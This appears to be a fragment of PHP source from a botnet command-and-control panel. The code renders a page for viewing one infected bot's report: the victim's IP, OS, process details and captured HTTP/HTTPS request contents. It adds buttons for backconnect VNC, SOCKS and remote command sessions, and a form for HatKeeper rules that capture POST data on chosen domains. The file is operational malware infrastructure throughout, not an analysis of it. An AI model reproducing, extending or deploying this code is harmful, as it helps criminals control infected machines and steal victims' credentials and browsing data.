function vncplugin_draw_connect_options($botId) { if (!file_exists('system/botnet_vnc.php')) { return ''; } # Options $options = array('protocol=VNC&autoconnect=0' => 'Connect VNC', 'protocol=SOCKS&autoconnect=0' => 'Connect SOCKS', 'protocol=VNC&autoconnect=1' => 'Autoconnect VNC', 'protocol=SOCKS&autoconnect=1' => 'Autoconnect SOCKS'); if ($GLOBALS['BUILD_INI']['enabled_features']['botnet_vnc.backconnect_cmd']) { $options['protocol=CMD&autoconnect=0'] = 'CMD Connect'; } # Draw $data = '<ul id="vnc-plugin-extrernal-buttons" style="float: right;">'; foreach ($options as $href => $name) { $data .= '<li style="padding: 2px 5px; display: inline;"><button data-href="?m=botnet_vnc&ajax=add_connect&' . $href . '&bot=' . $botId . '">' . $name . '</button></li>'; } # HatKeeper fast config if (file_exists('system/reports_hatkeeper.php')) { $data .= '<li style="padding: 2px 5px; display: inline;"><button data-href="?m=reports_hatkeeper/AjaxInsert&botId=' . rawurlencode($botId) . '&bsocks=1">HatKeeper</button></li>'; } $data .= '</ul>'; # HatKeeper fast config link if (file_exists('system/reports_hatkeeper.php')) { $data .= '<div id="hatkeeper-xml-config" style="clear:both; font-size: 16pt; display: none;">' . '<a href="' . authTokenURL('reports_hatkeeper/xml') . '&botId=' . rawurlencode($botId) . '" target="_blank">HatKeeper XML Config</a>' . '</div>'; } $data .= <<<HTML \t<script> \t\$(function(){ \t\t\$('#vnc-plugin-extrernal-buttons button').click(function(){ \t\t\tvar \$this = \$(this); \t\t\t// Launch throbber \t\t\tvar \$div = \$('<div><img src="theme/throbber.gif" /></div>'); \t\t\t\$this.closest('ul').replaceWith(\$div); \t\t\t// AJAX \t\t\t\$.get( \$this.data('href'), function(data){ \t\t\t\tif (\$this.is('[data-href*=hatkeeper]')) // HatKeeper button \t\t\t\t \$div.replaceWith( \$('#hatkeeper-xml-config').show() ); \t\t\t\telse // Other buttons \t\t\t\t \$div.replaceWith(data); \t\t\t\t}); \t\t\treturn false; \t\t\t}); \t\t}); \t</script> HTML; return $data; }
} # Sidebar echo '<aside class="sidebar"', ' data-table="', $_GET['t'], '" data-report="', $report->id, '" ', ' data-botid="', htmlentities($report->bot_id), '" data-ipv4="', htmlentities($report->ipv4), '"', '>', '<ul>', '<li id="aside-report-whois">', '<button>', LNG_REPORTS_ASIDE_WHOIS, '</button>', '</li>'; if (file_exists('system/reports_fav.php')) { echo '<li id="aside-report-favorite">', '<button>', LNG_REPORTS_ASIDE_FAVORITE1, '</button>', '<form action="?m=/reports_fav/ajaxAdd" method="POST">', '<input type="hidden" name="table" value="', $_GET['t'], '" />', '<input type="hidden" name="report_id" value="', $_GET['id'], '" />', '<textarea name="comment" rows="20" placeholder="comment">', htmlentities($report->favorite_comment), '</textarea>', '<input type="submit" value="', LNG_REPORTS_ASIDE_SAVE, '" />', '</form>', '</li>'; } if (file_exists('system/botnet_vnc.php')) { echo '<li id="aside-vnc"><dl><dt class="collapsible collapsed" id="aside-vnc">VNC</dt>', '<dd>' . vncplugin_draw_connect_options($report->bot_id) . '</dd>'; } if (file_exists('system/reports_hatkeeper.php')) { $rule_domain = parse_url($report->path_source, PHP_URL_HOST); if (strncasecmp($rule_domain, 'www.', 4) === 0) { $rule_domain = substr($rule_domain, 4); } $rule_urls = array('url' => "^{$report->path_source}", 'domain' => "^.+://(.+\\.|){$rule_domain}/.*", 'any' => '^.*'); echo '<li id="aside-hatkeeper"><dl><dt class="collapsible collapsed">', LNG_REPORTS_ASIDE_HK, '</dt>', '<dd>', '<form ', ' action="?m=reports_hatkeeper/AjaxInsert&botId=', rawurlencode($report->bot_id), '&report=', rawurlencode($_GET['t'] . ':' . $report->id), '" ', ' method="POST"><ul>', '<li><dl>', '<dt>', LNG_REPORTS_ASIDE_HK_RULE_URL, '</dt>', '<dd>', '<input type="text" name="rule_url" value="', htmlentities($rule_urls['domain']), '" />', '<ul class="url-rule-presets">', '<li>', '<a href="#" data-url="', htmlentities($rule_urls['url']), '">URL</a>', '</li>', '<li>', '<a href="#" data-url="', htmlentities($rule_urls['domain']), '">Domain</a>', '</li>', '<li>', '<a href="#" data-url="', htmlentities($rule_urls['any']), '">Any</a>', '</li>', '</ul>', '</dd>', '<dt>', LNG_REPORTS_ASIDE_HK_RULE_POST, '</dt>', '<dd>', '<textarea name="rule_post" placeholder="a=b" rows=10></textarea>', '</dd>', '</dl>', '<li><label><input type="checkbox" name="mkenvironment" value="1" /> ' . LNG_REPORTS_ASIDE_HK_MKENVIRONMENT . '</label>', file_exists('system/botnet_vnc.php') ? '<li><label><input type="checkbox" name="bsocks" value="1" /> ' . LNG_REPORTS_ASIDE_HK_BSOCKS . '</label>' : '', '<li><input type="submit" value="', LNG_REPORTS_ASIDE_HK_CREATE, '" />', '<li id="hatkeeper-config-link">', '<a href="' . authTokenURL('reports_hatkeeper/xml') . '&botId=', rawurlencode($report->bot_id), '" target="_blank">', LNG_REPORTS_ASIDE_HK_CONFIGLINK, '</a>', '</ul></form>', '</dd>'; } echo '</ul>', '</aside>'; # Display echo '<table id="full-bot-report" class="bot-report zebra lined" ', 'data-table="', $_GET['t'], '" data-report="', $report->id, '" ', 'data-botid="', htmlentities($report->bot_id), '" data-ipv4="', htmlentities($report->ipv4), '"', '>', '<caption>', sprintf(LNG_REPORTS_VIEW_TITLE2, bltToLng($report->type), numberFormatAsInt(strlen($report->context))), ' ', gmdate(LNG_FORMAT_DT, $report->rtime), '</caption>', '<TBODY>', '<tr>', '<th>', LNG_REPORTS_VIEW_BOTID, '</th>', '<td>', '<img src="theme/images/icons/' . ($report->bot_online && $report->bot_online <= $GLOBALS['config']['botnet_timeout'] ? 'online' : 'offline') . '.png" /> ', botPopupMenu($report->bot_id, 'botmenu', $report->bot_comment), ' (', htmlentities($report->ip_c), ' — ', $report->ip_country, ')', ' ', htmlentities($report->botnet), '</td>', '</tr>', '<tr class="field-bot-comment">', '<th>', LNG_REPORTS_VIEW_COMMENT, '</th>', '<td>', '<form action="?', mkuri(1, 'm'), '&ajax=bot-comment&botId=', rawurlencode($report->bot_id), '" method="POST" class="ajax_form_update" data-title="Bot comment">', '<input type="text" name="comment" value="', htmlentities($report->bot_comment), '" />', '<input type="submit" value="', LNG_REPORTS_VIEW_COMMENT_SAVE, '" />', '</form>', '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_BOT_RTIME_LAST, '</th>', '<td>', timeago(time() - $report->bot_rtime_last), '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_VERSION, '</th>', '<td>', intToVersion($report->bot_version), '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_OS, '</th>', '<td>', osDataToString($report->os_version), ' (', htmlentities($report->language_id), ')', '</td>', '</tr>', '<tr class="field-ipv4">', '<th>', LNG_REPORTS_VIEW_IPV4, '</th>', '<td>', htmlentities($report->ipv4), '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_TIME, '</th>', '<td>', gmdate(LNG_FORMAT_DT, $report->time_system + $report->time_localbias), ' (GMT', timeBiasToText($report->time_localbias), ')', '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_TICK, '</th>', '<td>', tickCountToText($report->time_tick / 1000), '</td>', '</tr>', '</TBODY>', '<TBODY>', '<tr>', '<th>', LNG_REPORTS_VIEW_PROCUSER, '</th>', '<td>', htmlspecialchars($report->process_user), '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_PROCNAME, '</th>', '<td>', htmlspecialchars($report->process_name), '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_PROCINFO, '</th>', '<td>', htmlentities($report->process_info), '</td>', '</tr>', '<tr>', '<th>', LNG_REPORTS_VIEW_SOURCE, file_exists('system/reports_neurostat.php') && ($report->type == BLT_HTTP_REQUEST || $report->type == BLT_HTTPS_REQUEST) ? ' <a href="?m=reports_neurostat/stat' . '&botId=' . rawurlencode($report->bot_id) . '&url=' . rawurlencode($report->path_source) . '" ' . ' target="_blank"> <img src="theme/images/icons/brain.png" /> </a> ' : '', '</th>', '<td>', htmlentities($report->path_source), '</td>', '</tr>', '<tr class="context">', '<td colspan="2">', '<a href="#" id="decode-context">[ Decode ]</a>', '<div class="context">', htmlentities($report->context), '</div>', '</td>', '</tr>', '</TBODY>', '</table>'; echo <<<HTML <script src="theme/js/page-reports_db-report.js"></script> HTML; die; } /////////////////////////////////////////////////////////////////////////////////////////////////// // Определяем данные для фильтра. /////////////////////////////////////////////////////////////////////////////////////////////////// //При добавлении новых параметров нужно уничтожать не нужные для js:datelist. $filter['date1'] = isset($_GET['date1']) ? intval($_GET['date1']) : 0; $filter['date2'] = isset($_GET['date2']) ? intval($_GET['date2']) : 0;